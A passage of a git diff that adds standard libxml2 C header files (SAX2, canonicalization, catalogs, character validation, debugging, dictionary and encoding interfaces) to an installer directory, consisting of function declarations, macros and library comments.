DOM tree. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + + +#ifndef __XML_SAX2_H__ +#define __XML_SAX2_H__ + +#include +#include +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif +XMLPUBFUN const xmlChar * XMLCALL + xmlSAX2GetPublicId (void *ctx); +XMLPUBFUN const xmlChar * XMLCALL + xmlSAX2GetSystemId (void *ctx); +XMLPUBFUN void XMLCALL + xmlSAX2SetDocumentLocator (void *ctx, + xmlSAXLocatorPtr loc); + +XMLPUBFUN int XMLCALL + xmlSAX2GetLineNumber (void *ctx); +XMLPUBFUN int XMLCALL + xmlSAX2GetColumnNumber (void *ctx); + +XMLPUBFUN int XMLCALL + xmlSAX2IsStandalone (void *ctx); +XMLPUBFUN int XMLCALL + xmlSAX2HasInternalSubset (void *ctx); +XMLPUBFUN int XMLCALL + xmlSAX2HasExternalSubset (void *ctx); + +XMLPUBFUN void XMLCALL + xmlSAX2InternalSubset (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN void XMLCALL + xmlSAX2ExternalSubset (void *ctx, + const xmlChar *name, + const xmlChar *ExternalID, + const xmlChar *SystemID); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlSAX2GetEntity (void *ctx, + const xmlChar *name); +XMLPUBFUN xmlEntityPtr XMLCALL + xmlSAX2GetParameterEntity (void *ctx, + const xmlChar *name); +XMLPUBFUN xmlParserInputPtr XMLCALL + xmlSAX2ResolveEntity (void *ctx, + const xmlChar *publicId, + const xmlChar *systemId); + +XMLPUBFUN void XMLCALL + xmlSAX2EntityDecl (void *ctx, + const xmlChar *name, + int type, + const xmlChar *publicId, + const xmlChar *systemId, + xmlChar *content); +XMLPUBFUN void XMLCALL + xmlSAX2AttributeDecl (void *ctx, + const xmlChar *elem, + const xmlChar *fullname, + int type, + int def, + const xmlChar *defaultValue, + xmlEnumerationPtr tree); +XMLPUBFUN void XMLCALL + xmlSAX2ElementDecl (void *ctx, + const xmlChar *name, + int type, + xmlElementContentPtr content); +XMLPUBFUN void XMLCALL + xmlSAX2NotationDecl (void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId); +XMLPUBFUN void XMLCALL + xmlSAX2UnparsedEntityDecl (void *ctx, + const xmlChar *name, + const xmlChar *publicId, + const xmlChar *systemId, + const xmlChar *notationName); + +XMLPUBFUN void XMLCALL + xmlSAX2StartDocument (void *ctx); +XMLPUBFUN void XMLCALL + xmlSAX2EndDocument (void *ctx); +#if defined(LIBXML_SAX1_ENABLED) || defined(LIBXML_HTML_ENABLED) || \ + defined(LIBXML_WRITER_ENABLED) || defined(LIBXML_DOCB_ENABLED) || \ + defined(LIBXML_LEGACY_ENABLED) +XMLPUBFUN void XMLCALL + xmlSAX2StartElement (void *ctx, + const xmlChar *fullname, + const xmlChar **atts); +XMLPUBFUN void XMLCALL + xmlSAX2EndElement (void *ctx, + const xmlChar *name); +#endif /* LIBXML_SAX1_ENABLED or LIBXML_HTML_ENABLED or LIBXML_LEGACY_ENABLED */ +XMLPUBFUN void XMLCALL + xmlSAX2StartElementNs (void *ctx, + const xmlChar *localname, + const xmlChar *prefix, + const xmlChar *URI, + int nb_namespaces, + const xmlChar **namespaces, + int nb_attributes, + int nb_defaulted, + const xmlChar **attributes); +XMLPUBFUN void XMLCALL + xmlSAX2EndElementNs (void *ctx, + const xmlChar *localname, + const xmlChar *prefix, + const xmlChar *URI); +XMLPUBFUN void XMLCALL + xmlSAX2Reference (void *ctx, + const xmlChar *name); +XMLPUBFUN void XMLCALL + xmlSAX2Characters (void *ctx, + const xmlChar *ch, + int len); +XMLPUBFUN void XMLCALL + xmlSAX2IgnorableWhitespace (void *ctx, + const xmlChar *ch, + int len); +XMLPUBFUN void XMLCALL + xmlSAX2ProcessingInstruction (void *ctx, + const xmlChar *target, + const xmlChar *data); +XMLPUBFUN void XMLCALL + xmlSAX2Comment (void *ctx, + const xmlChar *value); +XMLPUBFUN void XMLCALL + xmlSAX2CDataBlock (void *ctx, + const xmlChar *value, + int len); + +#ifdef LIBXML_SAX1_ENABLED +XMLPUBFUN int XMLCALL + xmlSAXDefaultVersion (int version); +#endif /* LIBXML_SAX1_ENABLED */ + +XMLPUBFUN int XMLCALL + xmlSAXVersion (xmlSAXHandler *hdlr, + int version); +XMLPUBFUN void XMLCALL + xmlSAX2InitDefaultSAXHandler (xmlSAXHandler *hdlr, + int warning); +#ifdef LIBXML_HTML_ENABLED +XMLPUBFUN void XMLCALL + xmlSAX2InitHtmlDefaultSAXHandler(xmlSAXHandler *hdlr); +XMLPUBFUN void XMLCALL + htmlDefaultSAXHandlerInit (void); +#endif +#ifdef LIBXML_DOCB_ENABLED +XMLPUBFUN void XMLCALL + xmlSAX2InitDocbDefaultSAXHandler(xmlSAXHandler *hdlr); +XMLPUBFUN void XMLCALL + docbDefaultSAXHandlerInit (void); +#endif +XMLPUBFUN void XMLCALL + xmlDefaultSAXHandlerInit (void); +#ifdef __cplusplus +} +#endif +#endif /* __XML_SAX2_H__ */ diff --git a/installer/libxml2/include/libxml/c14n.h b/installer/libxml2/include/libxml/c14n.h new file mode 100644 index 0000000..b8971d9 --- /dev/null +++ b/installer/libxml2/include/libxml/c14n.h @@ -0,0 +1,126 @@ +/* + * Summary: Provide Canonical XML and Exclusive XML Canonicalization + * Description: the c14n modules provides a + * + * "Canonical XML" implementation + * http://www.w3.org/TR/xml-c14n + * + * and an + * + * "Exclusive XML Canonicalization" implementation + * http://www.w3.org/TR/xml-exc-c14n + + * Copy: See Copyright for the status of this software. + * + * Author: Aleksey Sanin + */ +#ifndef __XML_C14N_H__ +#define __XML_C14N_H__ +#ifdef LIBXML_C14N_ENABLED +#ifdef LIBXML_OUTPUT_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif /* __cplusplus */ + +#include +#include +#include + +/* + * XML Canonicazation + * http://www.w3.org/TR/xml-c14n + * + * Exclusive XML Canonicazation + * http://www.w3.org/TR/xml-exc-c14n + * + * Canonical form of an XML document could be created if and only if + * a) default attributes (if any) are added to all nodes + * b) all character and parsed entity references are resolved + * In order to achive this in libxml2 the document MUST be loaded with + * following global setings: + * + * xmlLoadExtDtdDefaultValue = XML_DETECT_IDS | XML_COMPLETE_ATTRS; + * xmlSubstituteEntitiesDefault(1); + * + * or corresponding parser context setting: + * xmlParserCtxtPtr ctxt; + * + * ... + * ctxt->loadsubset = XML_DETECT_IDS | XML_COMPLETE_ATTRS; + * ctxt->replaceEntities = 1; + * ... + */ + +/* + * xmlC14NMode: + * + * Predefined values for C14N modes + * + */ +typedef enum { + XML_C14N_1_0 = 0, /* Origianal C14N 1.0 spec */ + XML_C14N_EXCLUSIVE_1_0 = 1, /* Exclusive C14N 1.0 spec */ + XML_C14N_1_1 = 2 /* C14N 1.1 spec */ +} xmlC14NMode; + +XMLPUBFUN int XMLCALL + xmlC14NDocSaveTo (xmlDocPtr doc, + xmlNodeSetPtr nodes, + int mode, /* a xmlC14NMode */ + xmlChar **inclusive_ns_prefixes, + int with_comments, + xmlOutputBufferPtr buf); + +XMLPUBFUN int XMLCALL + xmlC14NDocDumpMemory (xmlDocPtr doc, + xmlNodeSetPtr nodes, + int mode, /* a xmlC14NMode */ + xmlChar **inclusive_ns_prefixes, + int with_comments, + xmlChar **doc_txt_ptr); + +XMLPUBFUN int XMLCALL + xmlC14NDocSave (xmlDocPtr doc, + xmlNodeSetPtr nodes, + int mode, /* a xmlC14NMode */ + xmlChar **inclusive_ns_prefixes, + int with_comments, + const char* filename, + int compression); + + +/** + * This is the core C14N function + */ +/** + * xmlC14NIsVisibleCallback: + * @user_data: user data + * @node: the curent node + * @parent: the parent node + * + * Signature for a C14N callback on visible nodes + * + * Returns 1 if the node should be included + */ +typedef int (*xmlC14NIsVisibleCallback) (void* user_data, + xmlNodePtr node, + xmlNodePtr parent); + +XMLPUBFUN int XMLCALL + xmlC14NExecute (xmlDocPtr doc, + xmlC14NIsVisibleCallback is_visible_callback, + void* user_data, + int mode, /* a xmlC14NMode */ + xmlChar **inclusive_ns_prefixes, + int with_comments, + xmlOutputBufferPtr buf); + +#ifdef __cplusplus +} +#endif /* __cplusplus */ + +#endif /* LIBXML_OUTPUT_ENABLED */ +#endif /* LIBXML_C14N_ENABLED */ +#endif /* __XML_C14N_H__ */ + diff --git a/installer/libxml2/include/libxml/catalog.h b/installer/libxml2/include/libxml/catalog.h new file mode 100644 index 0000000..5a13f51 --- /dev/null +++ b/installer/libxml2/include/libxml/catalog.h @@ -0,0 +1,182 @@ +/** + * Summary: interfaces to the Catalog handling system + * Description: the catalog module implements the support for + * XML Catalogs and SGML catalogs + * + * SGML Open Technical Resolution TR9401:1997. + * http://www.jclark.com/sp/catalog.htm + * + * XML Catalogs Working Draft 06 August 2001 + * http://www.oasis-open.org/committees/entity/spec-2001-08-06.html + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_CATALOG_H__ +#define __XML_CATALOG_H__ + +#include + +#include +#include +#include + +#ifdef LIBXML_CATALOG_ENABLED + +#ifdef __cplusplus +extern "C" { +#endif + +/** + * XML_CATALOGS_NAMESPACE: + * + * The namespace for the XML Catalogs elements. + */ +#define XML_CATALOGS_NAMESPACE \ + (const xmlChar *) "urn:oasis:names:tc:entity:xmlns:xml:catalog" +/** + * XML_CATALOG_PI: + * + * The specific XML Catalog Processing Instuction name. + */ +#define XML_CATALOG_PI \ + (const xmlChar *) "oasis-xml-catalog" + +/* + * The API is voluntarily limited to general cataloging. + */ +typedef enum { + XML_CATA_PREFER_NONE = 0, + XML_CATA_PREFER_PUBLIC = 1, + XML_CATA_PREFER_SYSTEM +} xmlCatalogPrefer; + +typedef enum { + XML_CATA_ALLOW_NONE = 0, + XML_CATA_ALLOW_GLOBAL = 1, + XML_CATA_ALLOW_DOCUMENT = 2, + XML_CATA_ALLOW_ALL = 3 +} xmlCatalogAllow; + +typedef struct _xmlCatalog xmlCatalog; +typedef xmlCatalog *xmlCatalogPtr; + +/* + * Operations on a given catalog. + */ +XMLPUBFUN xmlCatalogPtr XMLCALL + xmlNewCatalog (int sgml); +XMLPUBFUN xmlCatalogPtr XMLCALL + xmlLoadACatalog (const char *filename); +XMLPUBFUN xmlCatalogPtr XMLCALL + xmlLoadSGMLSuperCatalog (const char *filename); +XMLPUBFUN int XMLCALL + xmlConvertSGMLCatalog (xmlCatalogPtr catal); +XMLPUBFUN int XMLCALL + xmlACatalogAdd (xmlCatalogPtr catal, + const xmlChar *type, + const xmlChar *orig, + const xmlChar *replace); +XMLPUBFUN int XMLCALL + xmlACatalogRemove (xmlCatalogPtr catal, + const xmlChar *value); +XMLPUBFUN xmlChar * XMLCALL + xmlACatalogResolve (xmlCatalogPtr catal, + const xmlChar *pubID, + const xmlChar *sysID); +XMLPUBFUN xmlChar * XMLCALL + xmlACatalogResolveSystem(xmlCatalogPtr catal, + const xmlChar *sysID); +XMLPUBFUN xmlChar * XMLCALL + xmlACatalogResolvePublic(xmlCatalogPtr catal, + const xmlChar *pubID); +XMLPUBFUN xmlChar * XMLCALL + xmlACatalogResolveURI (xmlCatalogPtr catal, + const xmlChar *URI); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlACatalogDump (xmlCatalogPtr catal, + FILE *out); +#endif /* LIBXML_OUTPUT_ENABLED */ +XMLPUBFUN void XMLCALL + xmlFreeCatalog (xmlCatalogPtr catal); +XMLPUBFUN int XMLCALL + xmlCatalogIsEmpty (xmlCatalogPtr catal); + +/* + * Global operations. + */ +XMLPUBFUN void XMLCALL + xmlInitializeCatalog (void); +XMLPUBFUN int XMLCALL + xmlLoadCatalog (const char *filename); +XMLPUBFUN void XMLCALL + xmlLoadCatalogs (const char *paths); +XMLPUBFUN void XMLCALL + xmlCatalogCleanup (void); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlCatalogDump (FILE *out); +#endif /* LIBXML_OUTPUT_ENABLED */ +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogResolve (const xmlChar *pubID, + const xmlChar *sysID); +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogResolveSystem (const xmlChar *sysID); +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogResolvePublic (const xmlChar *pubID); +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogResolveURI (const xmlChar *URI); +XMLPUBFUN int XMLCALL + xmlCatalogAdd (const xmlChar *type, + const xmlChar *orig, + const xmlChar *replace); +XMLPUBFUN int XMLCALL + xmlCatalogRemove (const xmlChar *value); +XMLPUBFUN xmlDocPtr XMLCALL + xmlParseCatalogFile (const char *filename); +XMLPUBFUN int XMLCALL + xmlCatalogConvert (void); + +/* + * Strictly minimal interfaces for per-document catalogs used + * by the parser. + */ +XMLPUBFUN void XMLCALL + xmlCatalogFreeLocal (void *catalogs); +XMLPUBFUN void * XMLCALL + xmlCatalogAddLocal (void *catalogs, + const xmlChar *URL); +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogLocalResolve (void *catalogs, + const xmlChar *pubID, + const xmlChar *sysID); +XMLPUBFUN xmlChar * XMLCALL + xmlCatalogLocalResolveURI(void *catalogs, + const xmlChar *URI); +/* + * Preference settings. + */ +XMLPUBFUN int XMLCALL + xmlCatalogSetDebug (int level); +XMLPUBFUN xmlCatalogPrefer XMLCALL + xmlCatalogSetDefaultPrefer(xmlCatalogPrefer prefer); +XMLPUBFUN void XMLCALL + xmlCatalogSetDefaults (xmlCatalogAllow allow); +XMLPUBFUN xmlCatalogAllow XMLCALL + xmlCatalogGetDefaults (void); + + +/* DEPRECATED interfaces */ +XMLPUBFUN const xmlChar * XMLCALL + xmlCatalogGetSystem (const xmlChar *sysID); +XMLPUBFUN const xmlChar * XMLCALL + xmlCatalogGetPublic (const xmlChar *pubID); + +#ifdef __cplusplus +} +#endif +#endif /* LIBXML_CATALOG_ENABLED */ +#endif /* __XML_CATALOG_H__ */ diff --git a/installer/libxml2/include/libxml/chvalid.h b/installer/libxml2/include/libxml/chvalid.h new file mode 100644 index 0000000..fb43016 --- /dev/null +++ b/installer/libxml2/include/libxml/chvalid.h @@ -0,0 +1,230 @@ +/* + * Summary: Unicode character range checking + * Description: this module exports interfaces for the character + * range validation APIs + * + * This file is automatically generated from the cvs source + * definition files using the genChRanges.py Python script + * + * Generation date: Mon Mar 27 11:09:48 2006 + * Sources: chvalid.def + * Author: William Brack + */ + +#ifndef __XML_CHVALID_H__ +#define __XML_CHVALID_H__ + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Define our typedefs and structures + * + */ +typedef struct _xmlChSRange xmlChSRange; +typedef xmlChSRange *xmlChSRangePtr; +struct _xmlChSRange { + unsigned short low; + unsigned short high; +}; + +typedef struct _xmlChLRange xmlChLRange; +typedef xmlChLRange *xmlChLRangePtr; +struct _xmlChLRange { + unsigned int low; + unsigned int high; +}; + +typedef struct _xmlChRangeGroup xmlChRangeGroup; +typedef xmlChRangeGroup *xmlChRangeGroupPtr; +struct _xmlChRangeGroup { + int nbShortRange; + int nbLongRange; + const xmlChSRange *shortRange; /* points to an array of ranges */ + const xmlChLRange *longRange; +}; + +/** + * Range checking routine + */ +XMLPUBFUN int XMLCALL + xmlCharInRange(unsigned int val, const xmlChRangeGroup *group); + + +/** + * xmlIsBaseChar_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsBaseChar_ch(c) (((0x41 <= (c)) && ((c) <= 0x5a)) || \ + ((0x61 <= (c)) && ((c) <= 0x7a)) || \ + ((0xc0 <= (c)) && ((c) <= 0xd6)) || \ + ((0xd8 <= (c)) && ((c) <= 0xf6)) || \ + (0xf8 <= (c))) + +/** + * xmlIsBaseCharQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsBaseCharQ(c) (((c) < 0x100) ? \ + xmlIsBaseChar_ch((c)) : \ + xmlCharInRange((c), &xmlIsBaseCharGroup)) + +XMLPUBVAR const xmlChRangeGroup xmlIsBaseCharGroup; + +/** + * xmlIsBlank_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsBlank_ch(c) (((c) == 0x20) || \ + ((0x9 <= (c)) && ((c) <= 0xa)) || \ + ((c) == 0xd)) + +/** + * xmlIsBlankQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsBlankQ(c) (((c) < 0x100) ? \ + xmlIsBlank_ch((c)) : 0) + + +/** + * xmlIsChar_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsChar_ch(c) (((0x9 <= (c)) && ((c) <= 0xa)) || \ + ((c) == 0xd) || \ + (0x20 <= (c))) + +/** + * xmlIsCharQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsCharQ(c) (((c) < 0x100) ? \ + xmlIsChar_ch((c)) :\ + (((0x100 <= (c)) && ((c) <= 0xd7ff)) || \ + ((0xe000 <= (c)) && ((c) <= 0xfffd)) || \ + ((0x10000 <= (c)) && ((c) <= 0x10ffff)))) + +XMLPUBVAR const xmlChRangeGroup xmlIsCharGroup; + +/** + * xmlIsCombiningQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsCombiningQ(c) (((c) < 0x100) ? \ + 0 : \ + xmlCharInRange((c), &xmlIsCombiningGroup)) + +XMLPUBVAR const xmlChRangeGroup xmlIsCombiningGroup; + +/** + * xmlIsDigit_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsDigit_ch(c) (((0x30 <= (c)) && ((c) <= 0x39))) + +/** + * xmlIsDigitQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsDigitQ(c) (((c) < 0x100) ? \ + xmlIsDigit_ch((c)) : \ + xmlCharInRange((c), &xmlIsDigitGroup)) + +XMLPUBVAR const xmlChRangeGroup xmlIsDigitGroup; + +/** + * xmlIsExtender_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsExtender_ch(c) (((c) == 0xb7)) + +/** + * xmlIsExtenderQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsExtenderQ(c) (((c) < 0x100) ? \ + xmlIsExtender_ch((c)) : \ + xmlCharInRange((c), &xmlIsExtenderGroup)) + +XMLPUBVAR const xmlChRangeGroup xmlIsExtenderGroup; + +/** + * xmlIsIdeographicQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsIdeographicQ(c) (((c) < 0x100) ? \ + 0 :\ + (((0x4e00 <= (c)) && ((c) <= 0x9fa5)) || \ + ((c) == 0x3007) || \ + ((0x3021 <= (c)) && ((c) <= 0x3029)))) + +XMLPUBVAR const xmlChRangeGroup xmlIsIdeographicGroup; +XMLPUBVAR const unsigned char xmlIsPubidChar_tab[256]; + +/** + * xmlIsPubidChar_ch: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsPubidChar_ch(c) (xmlIsPubidChar_tab[(c)]) + +/** + * xmlIsPubidCharQ: + * @c: char to validate + * + * Automatically generated by genChRanges.py + */ +#define xmlIsPubidCharQ(c) (((c) < 0x100) ? \ + xmlIsPubidChar_ch((c)) : 0) + +XMLPUBFUN int XMLCALL + xmlIsBaseChar(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsBlank(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsChar(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsCombining(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsDigit(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsExtender(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsIdeographic(unsigned int ch); +XMLPUBFUN int XMLCALL + xmlIsPubidChar(unsigned int ch); + +#ifdef __cplusplus +} +#endif +#endif /* __XML_CHVALID_H__ */ diff --git a/installer/libxml2/include/libxml/debugXML.h b/installer/libxml2/include/libxml/debugXML.h new file mode 100644 index 0000000..5b3be13 --- /dev/null +++ b/installer/libxml2/include/libxml/debugXML.h @@ -0,0 +1,217 @@ +/* + * Summary: Tree debugging APIs + * Description: Interfaces to a set of routines used for debugging the tree + * produced by the XML parser. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __DEBUG_XML__ +#define __DEBUG_XML__ +#include +#include +#include + +#ifdef LIBXML_DEBUG_ENABLED + +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * The standard Dump routines. + */ +XMLPUBFUN void XMLCALL + xmlDebugDumpString (FILE *output, + const xmlChar *str); +XMLPUBFUN void XMLCALL + xmlDebugDumpAttr (FILE *output, + xmlAttrPtr attr, + int depth); +XMLPUBFUN void XMLCALL + xmlDebugDumpAttrList (FILE *output, + xmlAttrPtr attr, + int depth); +XMLPUBFUN void XMLCALL + xmlDebugDumpOneNode (FILE *output, + xmlNodePtr node, + int depth); +XMLPUBFUN void XMLCALL + xmlDebugDumpNode (FILE *output, + xmlNodePtr node, + int depth); +XMLPUBFUN void XMLCALL + xmlDebugDumpNodeList (FILE *output, + xmlNodePtr node, + int depth); +XMLPUBFUN void XMLCALL + xmlDebugDumpDocumentHead(FILE *output, + xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlDebugDumpDocument (FILE *output, + xmlDocPtr doc); +XMLPUBFUN void XMLCALL + xmlDebugDumpDTD (FILE *output, + xmlDtdPtr dtd); +XMLPUBFUN void XMLCALL + xmlDebugDumpEntities (FILE *output, + xmlDocPtr doc); + +/**************************************************************** + * * + * Checking routines * + * * + ****************************************************************/ + +XMLPUBFUN int XMLCALL + xmlDebugCheckDocument (FILE * output, + xmlDocPtr doc); + +/**************************************************************** + * * + * XML shell helpers * + * * + ****************************************************************/ + +XMLPUBFUN void XMLCALL + xmlLsOneNode (FILE *output, xmlNodePtr node); +XMLPUBFUN int XMLCALL + xmlLsCountNode (xmlNodePtr node); + +XMLPUBFUN const char * XMLCALL + xmlBoolToText (int boolval); + +/**************************************************************** + * * + * The XML shell related structures and functions * + * * + ****************************************************************/ + +#ifdef LIBXML_XPATH_ENABLED +/** + * xmlShellReadlineFunc: + * @prompt: a string prompt + * + * This is a generic signature for the XML shell input function. + * + * Returns a string which will be freed by the Shell. + */ +typedef char * (* xmlShellReadlineFunc)(char *prompt); + +/** + * xmlShellCtxt: + * + * A debugging shell context. + * TODO: add the defined function tables. + */ +typedef struct _xmlShellCtxt xmlShellCtxt; +typedef xmlShellCtxt *xmlShellCtxtPtr; +struct _xmlShellCtxt { + char *filename; + xmlDocPtr doc; + xmlNodePtr node; + xmlXPathContextPtr pctxt; + int loaded; + FILE *output; + xmlShellReadlineFunc input; +}; + +/** + * xmlShellCmd: + * @ctxt: a shell context + * @arg: a string argument + * @node: a first node + * @node2: a second node + * + * This is a generic signature for the XML shell functions. + * + * Returns an int, negative returns indicating errors. + */ +typedef int (* xmlShellCmd) (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr node, + xmlNodePtr node2); + +XMLPUBFUN void XMLCALL + xmlShellPrintXPathError (int errorType, + const char *arg); +XMLPUBFUN void XMLCALL + xmlShellPrintXPathResult(xmlXPathObjectPtr list); +XMLPUBFUN int XMLCALL + xmlShellList (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr node, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellBase (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr node, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellDir (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr node, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellLoad (xmlShellCtxtPtr ctxt, + char *filename, + xmlNodePtr node, + xmlNodePtr node2); +#ifdef LIBXML_OUTPUT_ENABLED +XMLPUBFUN void XMLCALL + xmlShellPrintNode (xmlNodePtr node); +XMLPUBFUN int XMLCALL + xmlShellCat (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr node, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellWrite (xmlShellCtxtPtr ctxt, + char *filename, + xmlNodePtr node, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellSave (xmlShellCtxtPtr ctxt, + char *filename, + xmlNodePtr node, + xmlNodePtr node2); +#endif /* LIBXML_OUTPUT_ENABLED */ +#ifdef LIBXML_VALID_ENABLED +XMLPUBFUN int XMLCALL + xmlShellValidate (xmlShellCtxtPtr ctxt, + char *dtd, + xmlNodePtr node, + xmlNodePtr node2); +#endif /* LIBXML_VALID_ENABLED */ +XMLPUBFUN int XMLCALL + xmlShellDu (xmlShellCtxtPtr ctxt, + char *arg, + xmlNodePtr tree, + xmlNodePtr node2); +XMLPUBFUN int XMLCALL + xmlShellPwd (xmlShellCtxtPtr ctxt, + char *buffer, + xmlNodePtr node, + xmlNodePtr node2); + +/* + * The Shell interface. + */ +XMLPUBFUN void XMLCALL + xmlShell (xmlDocPtr doc, + char *filename, + xmlShellReadlineFunc input, + FILE *output); + +#endif /* LIBXML_XPATH_ENABLED */ + +#ifdef __cplusplus +} +#endif + +#endif /* LIBXML_DEBUG_ENABLED */ +#endif /* __DEBUG_XML__ */ diff --git a/installer/libxml2/include/libxml/dict.h b/installer/libxml2/include/libxml/dict.h new file mode 100644 index 0000000..b83db59 --- /dev/null +++ b/installer/libxml2/include/libxml/dict.h @@ -0,0 +1,86 @@ +/* + * Summary: string dictionary + * Description: dictionary of reusable strings, just used to avoid allocation + * and freeing operations. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_DICT_H__ +#define __XML_DICT_H__ + +#ifdef __cplusplus +#define __XML_EXTERNC extern "C" +#else +#define __XML_EXTERNC +#endif + +/* + * The dictionary. + */ +__XML_EXTERNC typedef struct _xmlDict xmlDict; +__XML_EXTERNC typedef xmlDict *xmlDictPtr; + +#include +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Initializer + */ +XMLPUBFUN int XMLCALL xmlInitializeDict(void); + +/* + * Constructor and destructor. + */ +XMLPUBFUN xmlDictPtr XMLCALL + xmlDictCreate (void); +XMLPUBFUN size_t XMLCALL + xmlDictSetLimit (xmlDictPtr dict, + size_t limit); +XMLPUBFUN size_t XMLCALL + xmlDictGetUsage (xmlDictPtr dict); +XMLPUBFUN xmlDictPtr XMLCALL + xmlDictCreateSub(xmlDictPtr sub); +XMLPUBFUN int XMLCALL + xmlDictReference(xmlDictPtr dict); +XMLPUBFUN void XMLCALL + xmlDictFree (xmlDictPtr dict); + +/* + * Lookup of entry in the dictionary. + */ +XMLPUBFUN const xmlChar * XMLCALL + xmlDictLookup (xmlDictPtr dict, + const xmlChar *name, + int len); +XMLPUBFUN const xmlChar * XMLCALL + xmlDictExists (xmlDictPtr dict, + const xmlChar *name, + int len); +XMLPUBFUN const xmlChar * XMLCALL + xmlDictQLookup (xmlDictPtr dict, + const xmlChar *prefix, + const xmlChar *name); +XMLPUBFUN int XMLCALL + xmlDictOwns (xmlDictPtr dict, + const xmlChar *str); +XMLPUBFUN int XMLCALL + xmlDictSize (xmlDictPtr dict); + +/* + * Cleanup function + */ +XMLPUBFUN void XMLCALL + xmlDictCleanup (void); + +#ifdef __cplusplus +} +#endif +#endif /* ! __XML_DICT_H__ */ diff --git a/installer/libxml2/include/libxml/encoding.h b/installer/libxml2/include/libxml/encoding.h new file mode 100644 index 0000000..7967cc6 --- /dev/null +++ b/installer/libxml2/include/libxml/encoding.h @@ -0,0 +1,240 @@ +/* + * Summary: interface for the encoding conversion functions + * Description: interface for the encoding conversion functions needed for + * XML basic encoding and iconv() support. + * + * Related specs are + * rfc2044 (UTF-8 and UTF-16) F. Yergeau Alis Technologies + * [ISO-10646] UTF-8 and UTF-16 in Annexes + * [ISO-8859-1] ISO Latin-1 characters codes. + * [UNICODE] The Unicode Consortium, "The Unicode Standard -- + * Worldwide Character Encoding -- Version 1.0", Addison- + * Wesley, Volume 1, 1991, Volume 2, 1992. UTF-8 is + * described in Unicode Technical Report #4. + * [US-ASCII] Coded Character Set--7-bit American Standard Code for + * Information Interchange, ANSI X3.4-1986. + * + * Copy: See Copyright for the status of this software. + * + * Author: Daniel Veillard + */ + +#ifndef __XML_CHAR_ENCODING_H__ +#define __XML_CHAR_ENCODING_H__ + +#include + +#ifdef LIBXML_ICONV_ENABLED +#include +#endif +#ifdef LIBXML_ICU_ENABLED +#include +#endif +#ifdef __cplusplus +extern "C" { +#endif + +/* + * xmlCharEncoding: + * + * Predefined values for some standard encodings. + * Libxml does not do beforehand translation on UTF8 and ISOLatinX. + * It also supports ASCII, ISO-8859-1, and UTF16 (LE and BE) by default. + * + * Anything else would have to be translated to UTF8 before being + * given to the parser itself. The BOM for UTF16 and the encoding + * declaration are looked at and a converter is looked for at that + * point. If not found the parser stops here as asked by the XML REC. A + * converter can be registered by the user using xmlRegisterCharEncodingHandler + * but the current form doesn't allow stateful transcoding (a serious + * problem agreed !). If iconv has been found it will be used + * automatically and allow stateful transcoding, the simplest is then + * to be sure to enable iconv and to provide iconv libs for the encoding + * support needed. + * + * Note that the generic "UTF-16" is not a predefined value. Instead, only + * the specific UTF-16LE and UTF-16BE are present. + */ +typedef enum { + XML_CHAR_ENCODING_ERROR= -1, /* No char encoding detected */ + XML_CHAR_ENCODING_NONE= 0, /* No char encoding detected */ + XML_CHAR_ENCODING_UTF8= 1, /* UTF-8 */ + XML_CHAR_ENCODING_UTF16LE= 2, /* UTF-16 little endian */ + XML_CHAR_ENCODING_UTF16BE= 3, /* UTF-16 big endian */ + 